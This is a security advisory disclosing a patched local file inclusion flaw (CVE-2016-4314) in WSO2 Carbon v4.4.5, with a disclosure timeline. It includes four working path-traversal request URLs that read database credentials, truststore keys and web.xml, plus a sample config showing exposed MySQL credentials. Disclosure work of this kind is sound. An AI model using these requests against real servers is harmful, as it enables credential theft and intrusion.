[+] Credits: John Page aka HYP3RLINX [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-LOCAL-FILE-INCLUSION.txt [+] ISR: ApparitionSec Vendor: =============== www.wso2.com Product: ==================== Ws02Carbon v4.4.5 WSO2 Carbon is the core platform on which WSO2 middleware products are built. It is based on Java OSGi technology, which allows components to be dynamically installed, started, stopped, updated, and uninstalled, and it eliminates component version conflicts. In Carbon, this capability translates into a solid core of common middleware enterprise components, including clustering, security, logging, and monitoring, plus the ability to add components for specific features needed to solve a specific enterprise scenario. Vulnerability Type: ========================= Local File Inclusion (LFI) CVE Reference: ============== CVE-2016-4314 Vulnerability Details: ===================== An authenticated user can download configuration files in the filesystem via downloadArchivedLogFiles operation in LogViewer admin service. The request to the admin service accepts a file path relative to the carbon log file directory (i.e. <WSO2_PRODUCT_HOME>/repository/logs) hence can access any file in the file system. References: https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0098 Example: accessing the registry.xml file via Local File Inclusion exposes the MySQL passwords. <currentDBConfig>mysql-db</currentDBConfig> <dbConfig name="mysql-db"> <url>jdbc:mysql://localhost:3306/regdb</url> <userName>regadmin</userName> <password>regadmin</password> <driverName>com.mysql.jdbc.Driver</driverName> <maxActive>80</maxActive> <maxWait>6000</maxWait> <minIdle>5</minIdle> </dbConfig> Exploit code(s): =============== LFI to read Database creds, truststore key file, web.xml etc... 1) Read MySQL creds https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/registry.xml&tenantDomain=&serviceName= 2) Read MySQL creds https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/datasources/master-datasources.xml 3) Access Truststore Key file. https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/resources/security/client-truststore.jks 4) Read web.xml https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/tomcat/carbon/WEB-INF/web.xml Disclosure Timeline: =========================================== Vendor Notification: May 6, 2016 Vendor Acknowledgement: May 6, 2016 Vendor Fix / Customer Alerts: June 30, 2016 August 12, 2016 : Public Disclosure Exploitation Technique: ======================= Local Severity Level: =============== High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. HYP3RLINX
